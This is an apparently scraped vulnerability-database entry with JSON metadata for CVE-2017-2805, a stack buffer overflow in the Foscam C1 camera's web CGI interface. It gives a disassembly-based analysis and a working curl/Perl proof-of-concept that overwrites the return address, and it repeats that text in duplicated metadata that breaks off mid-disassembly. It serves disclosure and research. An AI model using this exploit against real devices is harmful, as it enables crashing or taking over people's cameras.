Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability(CVE-2017-2805)
2017-09-15T00:00:00
ID SSV:96487 Type seebug Reporter Root Modified 2017-09-15T00:00:00
Description
Summary
An exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simply send an http request to the device to trigger this vulnerability.
Tested Versions
Foscam, Inc. Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:
.text:00009F20 FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410
.text:00009F28 08 D0 4D E2 SUB SP, SP, #8
.text:00009F2C 05 FC FF EB BL FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2 SUBS R1, R0, #0
.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A BNE leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1 MOV R2, R1
.text:00009F44 1A FC FF EB BL FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3 CMP R0, #0
.text:00009F4C 03 00 00 0A BEQ loc_9F60
...
.text:00009F60 loc_9F60
.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 ; \
\
.text:00009AD4 registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code
.text:00009AE0 04 00 A0 E1 MOV R0, R4
.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function
.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1 MOV R0, R4
.text:00009AF0 24 10 9F E5 LDR R1, =0x3001
.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1 MOV R0, R4
.text:00009B00 18 10 9F E5 LDR R1, =0x3002
.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}
.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1 MOV R1, R8
.text:00009FB0 07 00 A0 E1 MOV R0, R7
.text:00009FB4 34 FC FF EB BL strcpy ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1 MOV R0, R8
.text:00009FBC C0 FB FF EB BL strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5 LDR R3, =0x404
.text:00009FC4 00 30 8D E5 STR R3, [SP]
.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]
.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request
.text:00009FD0 01 20 A0 E3 MOV R2, #1
.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]
.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]
.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]
.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
The handler for the code 0x4001 is located within the "webService" process. This is performed by the function at offset 0x1e488, executeCGICmd. Inside this function, the service will call a function that's responsible for authenticating the command specified by the user [6]. Once called, the service will initialize a number of variables on the stack. Each variable will be initialized as a 64 byte buffer. The usrString variable will be initialized at [7], pwdString at [8], and finally cmdString at [9].
.text:0001E5A4 executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1 MOV R8, R0
.text:0001E5B4 06 10 A0 E1 MOV R1, R6
.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]
.text:0001E5C0 00 70 50 E2 SUBS R7, R0, #0
.text:0001E5C4 27 00 00 0A BEQ replyMsg_1E668
\
.text:00028EAC sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0
.text:00028EB4 00 80 A0 E1 MOV R8, R0
.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118
.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A BEQ leaving
.text:00028EC4
.text:00028EC4 D4 60 8D E2 ADD R6, SP, #0x138+lv_usrString
.text:00028EC8 00 10 A0 E3 MOV R1, #0
.text:00028ECC 40 20 A0 E3 MOV R2, #0x40
.text:00028ED0 94 A0 8D E2 ADD R10, SP, #0x138+lv_pwdString
.text:00028ED4 06 00 A0 E1 MOV R0, R6
.text:00028ED8 02 A8 FF EB BL memset ; [7]
.text:00028EDC
.text:00028EDC 54 50 8D E2 ADD R5, SP, #0x138+lv_cmdString
.text:00028EE0 00 10 A0 E3 MOV R1, #0
.text:00028EE4 40 20 A0 E3 MOV R2, #0x40
.text:00028EE8 0A 00 A0 E1 MOV R0, R10
.text:00028EEC FD A7 FF EB BL memset ; [8]
.text:00028EF0
.text:00028EF0 40 20 A0 E3 MOV R2, #0x40
.text:00028EF4 00 10 A0 E3 MOV R1, #0
.text:00028EF8 05 00 A0 E1 MOV R0, R5
.text:00028EFC F9 A7 FF EB BL memset ; [9]
Following the initialization of these variables, the service will then search through the user's query for their respective parameters. This is done by the following code. Each of the functions at [10] will forward to a stub which will call a function [11] to extract the specified value from the query and write it into the buffer. At [11], the service will use the same function to extract the value from the "remoteIp=" parameter and write it into a buffer on the stack.
.text:00028F00 00 30 A0 E3 MOV R3, #0
.text:00028F04 05 10 A0 E1 MOV R1, R5
.text:00028F08 04 00 A0 E1 MOV R0, R4
.text:00028F0C 14 31 8D E5 STR R3, [SP,#0x138+lp_funcptr]
.text:00028F10 1B FD FF EB BL extract_cmd ; [10]
.text:00028F14 06 10 A0 E1 MOV R1, R6
.text:00028F18 04 00 A0 E1 MOV R0, R4
.text:00028F1C 0F FD FF EB BL extract_usr ; [10]
.text:00028F20 14 70 8D E2 ADD R7, SP, #0x138+var_124
.text:00028F24 0A 10 A0 E1 MOV R1, R10
.text:00028F28 04 00 A0 E1 MOV R0, R4
.text:00028F2C 02 FD FF EB BL extract_pwd ; [10]
.text:00028F30 C4 11 9F E5 LDR R1, =str.remoteIp
.text:00028F34 07 20 A0 E1 MOV R2, R7
.text:00028F38 04 00 A0 E1 MOV R0, R4
.text:00028F3C C1 FC FF EB BL extract_param ; [11]
Inside the function extract_param, the service will search through the query passed in %r0 for the key specified in %r1. Once found, the function will write the value into the target buffer specified in %r2. First the function will check to see that these query and key parameters are valid by comparing them against NULL at [12]. If this is the case, then the service will search for the key that was specified in %r1. This will return an index which will be used in the loop at [13]. This loop will copy each byte from the query at [14] until an '&' byte is found or the end of the query string is reached. Due to this loop explicitly trusting the length of the query during a copy and the function not being informed of the maximum length of the destination buffer as defined by the caller, this loop can be made to write outside the bounds of the buffer passed as an argument.
.text:00028248 extract_param
.text:00028248
.text:00028248 00 00 51 E3 CMP R1, #0 ; [12]
.text:0002824C 00 00 52 13 CMPNE R2, #0
.text:00028250 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
...
.text:00028304 loc_28304 ; [13]
.text:00028304 03 20 D5 E7 LDRB R2, [R5,R3]
.text:00028308 26 00 52 E3 CMP R2, #'&'
.text:0002830C 00 20 A0 03 MOVEQ R2, #0
.text:00028310 03 20 C4 07 STREQB R2, [R4,R3]
.text:00028314 03 00 00 0A BEQ loc_28328
.text:00028318 03 20 C4 E7 STRB R2, [R4,R3] ; [14]
.text:0002831C 01 30 83 E2 ADD R3, R3, #1
.text:00028320
.text:00028320 loc_28320
.text:00028320 00 00 53 E1 CMP R3, R0
.text:00028324 F6 FF FF BA BLT loc_28304
The stack frame of the caller allocates 0x40 bytes for each parameter that is to be fetched. If the usrString parameter is overflowed, this would require 0x64 bytes to overwrite the saved link-register that is stored on the stack.
<type 'structure' size=+138>
[ 0] -138:+4 'var_138' (<type 'int'>, 4)
[ 1] -134:+4 'var_134' (<type 'int'>, 4)
[ 2] -130:+4 'var_130' (<type 'int'>, 4)
[ 3] -12c:+4 'var_12C' (<type 'int'>, 4)
[ 4] -124:+40 'var_124' [(<type 'int'>, 1), 64]
[ 5] -e4:+40 'lv_cmdString' [(<type 'int'>, 1), 64]
[ 6] -a4:+40 'lv_pwdString' [(<type 'int'>, 1), 64]
[ 7] -64:+40 'lv_usrString' [(<type 'int'>, 1), 64]
[ 8] -24:+4 'lp_funcptr' (<type 'int'>, 4)
[ 9] -20:+20 'var_20' [(<type 'int'>, 4), 8]
Exploit Proof-of-Concept
To trigger this request, this can be done with the combination of command line HTTP client and Perl for generating each buffer. Each variable is being allocated with 0x40 bytes, so any value larger than this will overflow each buffer. The following command should trigger the vulnerability by overflowing the "usr=" parameter with 0x40 'A' bytes followed by 0x4 'B' bytes for the "funcptr" variable, 0x1C 'C' bytes for the frame, and then a 32-bit word for the link register. The address specified here should cleanly reboot the device.
usrString=`perl -e 'print "A"x0x40'`
pwdString=`perl -e 'print "A"x0x40'`
cmdString=`perl -e 'print "A"x0x40'`
funcptr=`perl -e 'print "B"x4'`
var_20=`perl -MURI::Escape -e 'print "C"x0x1c,uri_escape(pack("L", 0x1d3a0))'`
curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=${cmdString}&pwd=${pwdString}&usr=${usrString}${funcptr}${var_20}"
Timeline
2017-03-28 - Vendor Disclosure
2017-06-19 - Public Release
CREDIT
Discovered by Claudio Bozzato and another member of Cisco Talos.
{"type": "seebug", "lastseen": "2017-11-19T12:02:08", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "href": "https://www.seebug.org/vuldb/ssvid-96487", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "history": [], "modified": "2017-09-15T00:00:00", "reporter": "Root", "description": "### Summary\r\nAn exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simply send an http request to the device to trigger this vulnerability.\r\n\r\n### Tested Versions\r\n```\r\nFoscam, Inc. Indoor IP Camera C1 Series\r\nSystem Firmware Version: 1.9.3.17\r\nApplication Firmware Version: 2.52.2.37\r\nWeb Version: 2.0.1.1\r\nPlug-In Version: 3.3.0.5\r\n```\r\n\r\n### Product URLs\r\nFoscam\r\n\r\n### CVSSv3 Score\r\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-121: Stack-based Buffer Overflow\r\n\r\n### Details\r\nFoscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.\r\n\r\nWhen various services are started, a service will first register a callback using the `CMsgClient::registerMsgHandle` function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the `FCGI_Init` function of the \"CGIProxy.fcgi\" service using the following code:\r\n```\r\n.text:00009F20 FCGX_Init_1f20\r\n.text:00009F20\r\n.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\r\n.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410\r\n.text:00009F28 08 D0 4D E2 SUB SP, SP, #8\r\n.text:00009F2C 05 FC FF EB BL FCGX_Init\r\n.text:00009F2C\r\n.text:00009F30 00 10 50 E2 SUBS R1, R0, #0\r\n.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed\r\n.text:00009F38 05 00 00 1A BNE leave_exit_1f54\r\n.text:00009F3C\r\n.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74\r\n.text:00009F40 01 20 A0 E1 MOV R2, R1\r\n.text:00009F44 1A FC FF EB BL FCGX_InitRequest\r\n.text:00009F48\r\n.text:00009F48 00 00 50 E3 CMP R0, #0\r\n.text:00009F4C 03 00 00 0A BEQ loc_9F60\r\n...\r\n.text:00009F60 loc_9F60\r\n.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 ; \\\r\n\\\r\n.text:00009AD4 registerMsgClients_1ad4\r\n.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}\r\n.text:00009AD4\r\n.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8\r\n.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code\r\n.text:00009AE0 04 00 A0 E1 MOV R0, R4\r\n.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function\r\n.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]\r\n.text:00009AE8\r\n.text:00009AEC 04 00 A0 E1 MOV R0, R4\r\n.text:00009AF0 24 10 9F E5 LDR R1, =0x3001\r\n.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38\r\n.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))\r\n.text:00009AF8\r\n.text:00009AFC 04 00 A0 E1 MOV R0, R4\r\n.text:00009B00 18 10 9F E5 LDR R1, =0x3002\r\n.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38\r\n.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}\r\n.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))\r\n```\r\n\r\nAfter the \"CGIProxy.fcgi\" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to `CMsgClient::sendMsg`. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.\r\n```\r\n.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c\r\n.text:00009FAC 08 10 A0 E1 MOV R1, R8\r\n.text:00009FB0 07 00 A0 E1 MOV R0, R7\r\n.text:00009FB4 34 FC FF EB BL strcpy ; [4]\r\n.text:00009FB8\r\n.text:00009FB8 08 00 A0 E1 MOV R0, R8\r\n.text:00009FBC C0 FB FF EB BL strlen\r\n.text:00009FC0\r\n.text:00009FC0 CC 30 9F E5 LDR R3, =0x404\r\n.text:00009FC4 00 30 8D E5 STR R3, [SP]\r\n.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]\r\n.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request\r\n.text:00009FD0 01 20 A0 E3 MOV R2, #1\r\n.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]\r\n.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]\r\n.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]\r\n.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]\r\n.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8\r\n.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)\r\n```\r\n\r\nThe handler for the code 0x4001 is located within the \"webService\" process. This is performed by the function at offset 0x1e488, `executeCGICmd`. Inside this function, the service will call a function that's responsible for authenticating the command specified by the user [6]. Once called, the service will initialize a number of variables on the stack. Each variable will be initialized as a 64 byte buffer. The `usrString` variable will be initialized at [7], `pwdString` at [8], and finally `cmdString` at [9].\r\n```\r\n.text:0001E5A4 executeCGICmd\r\n.text:0001E5A4\r\n.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\r\n.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28\r\n.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440\r\n.text:0001E5B0 00 80 A0 E1 MOV R8, R0\r\n.text:0001E5B4 06 10 A0 E1 MOV R1, R6\r\n.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68\r\n.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]\r\n.text:0001E5C0 00 70 50 E2 SUBS R7, R0, #0\r\n.text:0001E5C4 27 00 00 0A BEQ replyMsg_1E668\r\n\\\r\n.text:00028EAC sub_28EAC\r\n.text:00028EAC\r\n.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}\r\n.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0\r\n.text:00028EB4 00 80 A0 E1 MOV R8, R0\r\n.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118\r\n.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF\r\n.text:00028EC0 8B 00 00 0A BEQ leaving\r\n.text:00028EC4\r\n.text:00028EC4 D4 60 8D E2 ADD R6, SP, #0x138+lv_usrString\r\n.text:00028EC8 00 10 A0 E3 MOV R1, #0\r\n.text:00028ECC 40 20 A0 E3 MOV R2, #0x40\r\n.text:00028ED0 94 A0 8D E2 ADD R10, SP, #0x138+lv_pwdString\r\n.text:00028ED4 06 00 A0 E1 MOV R0, R6\r\n.text:00028ED8 02 A8 FF EB BL memset ; [7]\r\n.text:00028EDC\r\n.text:00028EDC 54 50 8D E2 ADD R5, SP, #0x138+lv_cmdString\r\n.text:00028EE0 00 10 A0 E3 MOV R1, #0\r\n.text:00028EE4 40 20 A0 E3 MOV R2, #0x40\r\n.text:00028EE8 0A 00 A0 E1 MOV R0, R10\r\n.text:00028EEC FD A7 FF EB BL memset ; [8]\r\n.text:00028EF0\r\n.text:00028EF0 40 20 A0 E3 MOV R2, #0x40\r\n.text:00028EF4 00 10 A0 E3 MOV R1, #0\r\n.text:00028EF8 05 00 A0 E1 MOV R0, R5\r\n.text:00028EFC F9 A7 FF EB BL memset ; [9]\r\n```\r\n\r\nFollowing the initialization of these variables, the service will then search through the user's query for their respective parameters. This is done by the following code. Each of the functions at [10] will forward to a stub which will call a function [11] to extract the specified value from the query and write it into the buffer. At [11], the service will use the same function to extract the value from the \"remoteIp=\" parameter and write it into a buffer on the stack.\r\n```\r\n.text:00028F00 00 30 A0 E3 MOV R3, #0\r\n.text:00028F04 05 10 A0 E1 MOV R1, R5\r\n.text:00028F08 04 00 A0 E1 MOV R0, R4\r\n.text:00028F0C 14 31 8D E5 STR R3, [SP,#0x138+lp_funcptr]\r\n.text:00028F10 1B FD FF EB BL extract_cmd ; [10]\r\n.text:00028F14 06 10 A0 E1 MOV R1, R6\r\n.text:00028F18 04 00 A0 E1 MOV R0, R4\r\n.text:00028F1C 0F FD FF EB BL extract_usr ; [10]\r\n.text:00028F20 14 70 8D E2 ADD R7, SP, #0x138+var_124\r\n.text:00028F24 0A 10 A0 E1 MOV R1, R10\r\n.text:00028F28 04 00 A0 E1 MOV R0, R4\r\n.text:00028F2C 02 FD FF EB BL extract_pwd ; [10]\r\n.text:00028F30 C4 11 9F E5 LDR R1, =str.remoteIp\r\n.text:00028F34 07 20 A0 E1 MOV R2, R7\r\n.text:00028F38 04 00 A0 E1 MOV R0, R4\r\n.text:00028F3C C1 FC FF EB BL extract_param ; [11]\r\n```\r\n\r\nInside the function `extract_param`, the service will search through the query passed in `%r0` for the key specified in `%r1`. Once found, the function will write the value into the target buffer specified in `%r2`. First the function will check to see that these query and key parameters are valid by comparing them against NULL at [12]. If this is the case, then the service will search for the key that was specified in `%r1`. This will return an index which will be used in the loop at [13]. This loop will copy each byte from the query at [14] until an '&' byte is found or the end of the query string is reached. Due to this loop explicitly trusting the length of the query during a copy and the function not being informed of the maximum length of the destination buffer as defined by the caller, this loop can be made to write outside the bounds of the buffer passed as an argument.\r\n```\r\n.text:00028248 extract_param\r\n.text:00028248\r\n.text:00028248 00 00 51 E3 CMP R1, #0 ; [12]\r\n.text:0002824C 00 00 52 13 CMPNE R2, #0\r\n.text:00028250 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\r\n...\r\n.text:00028304 loc_28304 ; [13]\r\n.text:00028304 03 20 D5 E7 LDRB R2, [R5,R3]\r\n.text:00028308 26 00 52 E3 CMP R2, #'&'\r\n.text:0002830C 00 20 A0 03 MOVEQ R2, #0\r\n.text:00028310 03 20 C4 07 STREQB R2, [R4,R3]\r\n.text:00028314 03 00 00 0A BEQ loc_28328\r\n.text:00028318 03 20 C4 E7 STRB R2, [R4,R3] ; [14]\r\n.text:0002831C 01 30 83 E2 ADD R3, R3, #1\r\n.text:00028320\r\n.text:00028320 loc_28320\r\n.text:00028320 00 00 53 E1 CMP R3, R0\r\n.text:00028324 F6 FF FF BA BLT loc_28304\r\n```\r\n\r\nThe stack frame of the caller allocates 0x40 bytes for each parameter that is to be fetched. If the `usrString` parameter is overflowed, this would require 0x64 bytes to overwrite the saved link-register that is stored on the stack.\r\n```\r\n<type 'structure' size=+138>\r\n [ 0] -138:+4 'var_138' (<type 'int'>, 4) \r\n [ 1] -134:+4 'var_134' (<type 'int'>, 4) \r\n [ 2] -130:+4 'var_130' (<type 'int'>, 4) \r\n [ 3] -12c:+4 'var_12C' (<type 'int'>, 4) \r\n [ 4] -124:+40 'var_124' [(<type 'int'>, 1), 64] \r\n [ 5] -e4:+40 'lv_cmdString' [(<type 'int'>, 1), 64] \r\n [ 6] -a4:+40 'lv_pwdString' [(<type 'int'>, 1), 64] \r\n [ 7] -64:+40 'lv_usrString' [(<type 'int'>, 1), 64] \r\n [ 8] -24:+4 'lp_funcptr' (<type 'int'>, 4) \r\n [ 9] -20:+20 'var_20' [(<type 'int'>, 4), 8]\r\n```\r\n \r\n### Exploit Proof-of-Concept\r\nTo trigger this request, this can be done with the combination of command line HTTP client and Perl for generating each buffer. Each variable is being allocated with 0x40 bytes, so any value larger than this will overflow each buffer. The following command should trigger the vulnerability by overflowing the \"usr=\" parameter with 0x40 'A' bytes followed by 0x4 'B' bytes for the \"funcptr\" variable, 0x1C 'C' bytes for the frame, and then a 32-bit word for the link register. The address specified here should cleanly reboot the device.\r\n```\r\nusrString=`perl -e 'print \"A\"x0x40'`\r\npwdString=`perl -e 'print \"A\"x0x40'`\r\ncmdString=`perl -e 'print \"A\"x0x40'`\r\nfuncptr=`perl -e 'print \"B\"x4'`\r\nvar_20=`perl -MURI::Escape -e 'print \"C\"x0x1c,uri_escape(pack(\"L\", 0x1d3a0))'`\r\ncurl \"http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=${cmdString}&pwd=${pwdString}&usr=${usrString}${funcptr}${var_20}\"\r\n```\r\n### Timeline\r\n* 2017-03-28 - Vendor Disclosure\r\n* 2017-06-19 - Public Release\r\n\r\n### CREDIT\r\n* Discovered by Claudio Bozzato and another member of Cisco Talos.", "bulletinFamily": "exploit", "references": [], "objectVersion": "1.4", "viewCount": 4, "status": "cve,poc,details", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96487", "cvelist": ["CVE-2017-2805"], "enchantments_done": [], "title": "Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability(CVE-2017-2805)", "id": "SSV:96487", "sourceData": "\n usrString=`perl -e 'print \"A\"x0x40'`\r\npwdString=`perl -e 'print \"A\"x0x40'`\r\ncmdString=`perl -e 'print \"A\"x0x40'`\r\nfuncptr=`perl -e 'print \"B\"x4'`\r\nvar_20=`perl -MURI::Escape -e 'print \"C\"x0x1c,uri_escape(pack(\"L\", 0x1d3a0))'`\r\ncurl \"http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=${cmdString}&pwd=${pwdString}&usr=${usrString}${funcptr}${var_20}\"\n ", "published": "2017-09-15T00:00:00", "enchantments": {"score": {"value": 4.0, "vector": "NONE", "modified": "2017-11-19T12:02:08"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2017-2805"]}, {"type": "talos", "idList": ["TALOS-2017-0299"]}, {"type": "talosblog", "idList": ["TALOSBLOG:0E7D49F78E04B2B1571CBB4FAAC8B2D3"]}], "modified": "2017-11-19T12:02:08"}, "vulnersScore": 4.0}, "_object_type": "robots.models.seebug.SeebugBulletin"}
{"cve": [{"lastseen": "2019-05-29T18:16:59", "bulletinFamily": "NVD", "description": "An exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simply send an http request to the device to trigger this vulnerability.", "modified": "2017-07-05T15:21:00", "id": "CVE-2017-2805", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-2805", "published": "2017-06-21T13:29:00", "title": "CVE-2017-2805", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "talos": [{"lastseen": "2019-05-29T19:19:58", "bulletinFamily": "info", "description": "# Talos Vulnerability Report\n\n### TALOS-2017-0299\n\n## Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability\n\n##### June 19, 2017\n\n##### CVE Number\n\nCVE-2017-2805 \n\n### Summary\n\nAn exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simply send an http request to the device to trigger this vulnerability.\n\n### Tested Versions\n\nFoscam, Inc. Indoor IP Camera C1 Series\n \n \n System Firmware Version: 1.9.3.17\n Application Firmware Version: 2.52.2.37\n Web Version: 2.0.1.1\n Plug-In Version: 3.3.0.5\n \n\n### Product URLs\n\n[Foscam](<http://www.foscam.com/>)\n\n### CVSSv3 Score\n\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n### CWE\n\nCWE-121: Stack-based Buffer Overflow\n\n### Details\n\nFoscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.\n\nWhen various services are started, a service will first register a callback using the `CMsgClient::registerMsgHandle` function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the `FCGI_Init` function of the \"CGIProxy.fcgi\" service using the following code:\n \n \n .text:00009F20 FCGX_Init_1f20\n .text:00009F20\n .text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}\n .text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410\n .text:00009F28 08 D0 4D E2 SUB SP, SP, #8\n .text:00009F2C 05 FC FF EB BL FCGX_Init\n .text:00009F2C\n .text:00009F30 00 10 50 E2 SUBS R1, R0, #0\n .text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed\n .text:00009F38 05 00 00 1A BNE leave_exit_1f54\n .text:00009F3C\n .text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74\n .text:00009F40 01 20 A0 E1 MOV R2, R1\n .text:00009F44 1A FC FF EB BL FCGX_InitRequest\n .text:00009F48\n .text:00009F48 00 00 50 E3 CMP R0, #0\n .text:00009F4C 03 00 00 0A BEQ loc_9F60\n ...\n .text:00009F60 loc_9F60\n .text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 ; \\\n \\\n .text:00009AD4 registerMsgClients_1ad4\n .text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}\n .text:00009AD4\n .text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8\n .text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code\n .text:00009AE0 04 00 A0 E1 MOV R0, R4\n .text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function\n .text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]\n .text:00009AE8\n .text:00009AEC 